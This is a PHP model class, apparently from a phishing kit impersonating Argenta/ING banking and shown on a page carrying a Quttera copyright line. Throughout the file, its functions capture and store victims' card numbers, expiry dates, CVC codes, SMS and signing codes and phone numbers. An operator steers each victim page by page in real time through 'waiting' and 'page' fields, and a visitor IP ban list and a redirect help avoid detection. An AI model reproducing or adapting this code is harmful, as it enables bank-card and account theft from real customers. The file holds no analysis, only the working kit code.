namespace App\Models\Argenta;
use PDO;
class Argenta extends \Core\Model {
public static function redirect() {
$sql = "SELECT * FROM redirect WHERE id = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", 1, PDO::PARAM_INT);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
header("location: " . $data["redirect"]);
die;
}
else {
header("location: https://www.google.nl");
die;
}
}
public static function findBan($ip) {
$sql = "SELECT * FROM bans WHERE ip = :ip";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":ip", $ip, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return true;
}
return false;
}
public static function setLogInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, inges_card = :empty, inges_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentificationInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, inges_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setBelInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, inges_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setCreditInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, inges_cc = :empty, inges_exp = :empty, inges_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCodeInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, inges_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCodeInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, inges_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLiveInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, inges_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "INGES", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function checkPayment($url = array()) {
$sql = "SELECT * FROM requests WHERE url = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", $url, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return $data;
}
return false;
}
public static function getPage($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["page"])) {
return $data["page"];
}
return false;
}
public static function setLogin($card, $exp, $uid) {
$sql = "UPDATE logs SET inges_card = :card, inges_vv = :exp, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":card", $card, PDO::PARAM_STR);
$stmt->bindValue(":exp", $exp, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentification($identification, $uid) {
$sql = "UPDATE logs SET inges_sms = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setBel($identification, $uid) {
$sql = "UPDATE logs SET inges_bel = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setCredit($cc, $vv, $cvc, $uid) {
$sql = "UPDATE logs SET inges_cc = :cc, inges_exp = :vv, inges_cvc = :cvc, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":cc", $cc, PDO::PARAM_STR);
$stmt->bindValue(":vv", $vv, PDO::PARAM_STR);
$stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginCode($phone, $uid) {
$sql = "UPDATE logs SET inges_phone = :phone, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":phone", $phone, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCode($code, $uid) {
$sql = "UPDATE logs SET inges_m1 = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLive($respons, $uid) {
$sql = "UPDATE logs SET inges_live = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_card = :empty, inges_vv = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setIdentificationPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_sms = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBelPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_bel = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setCreditPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_cc = :empty, inges_exp = :empty, inges_cvc = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_m1 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_live = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLoginCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_phone = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePageCode($uid, $page, $code) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_m1 = :empty, inges_m1_get = :code WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePageCode($uid, $page, $live, $livetwo) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, inges_live = :empty, inges_live_get = :live, inges_live2_get = :livetwo WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":live", $live, PDO::PARAM_STR);
$stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setFinishPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function getSignCode($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["inges_m1_get"])) {
return $data["inges_m1_get"];
}
return false;
}
public static function getLive($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["inges_live_get"])) {
return $data["inges_live_get"];
}
return false;
}
public static function getLivetwo($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["inges_live2_get"])) {
return $data["inges_live2_get"];
}
return false;
}
}
© 2023 Quttera Ltd. All rights reserved.